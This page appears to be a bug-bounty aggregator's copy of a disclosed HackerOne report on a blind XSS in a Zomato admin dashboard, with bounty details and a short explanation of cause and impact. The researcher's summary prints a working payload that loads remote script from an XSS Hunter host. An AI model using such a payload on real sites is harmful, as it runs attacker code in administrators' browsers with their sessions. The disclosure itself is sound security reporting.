Skip to content
XSS Disclosed report Intermediate

[www.zomato.com] Blind XSS on one of the Admin Dashboard

A blind cross-site scripting vulnerability existed in an admin dashboard where order details were viewed. An attacker could inject a script through an API parameter for special instructions, which would execute in the admin's browser when the order was reviewed.

pandaaaa Follow

Originally disclosed on HackerOne

Bounty$750 High 7.6 View original
  • Triaged in under an hour
  • Fixed in 20 days
  • Paid in 41 hours
  • Disclosed after 21 days

Summary by the program

Thanks for the report @pandaaaa.

Summary by the researcher

  • The Blind XSS fired when the order details were viewed by the admin at the back-end, The script was injected through an API endpoint from the Zomato app on one of the parameters which was recently introduced to provide special instructions to the restaurant on how to prepare the food.

  • I used XSS Hunter to do this and the payload used was - "><script src=https://{$handle}.xss.ht></script>.

  • I wasn't really testing when i found this bug. My mom was late and tired from the office and she asked me to order food and then i decided to try this. :P Thanks Mom! <3

The original report as published on HackerOne, by pandaaaa. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application failed to sanitise or encode user-supplied input from the special instructions parameter before rendering it in the admin dashboard.

Impact

An attacker could run JavaScript in the admin's browser when order details were viewed.

What the attacker needed

Ability to place an order with special instructions; admin views the order details

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Blind cross-site scripting (XSS) is when an attacker injects a script that runs later in someone else's browser, often an administrator's. Here, the script was hidden in a food order's special instructions and only ran when an admin looked at the order in the back-end system.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by pandaaaa

View all

1 more disclosed report, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.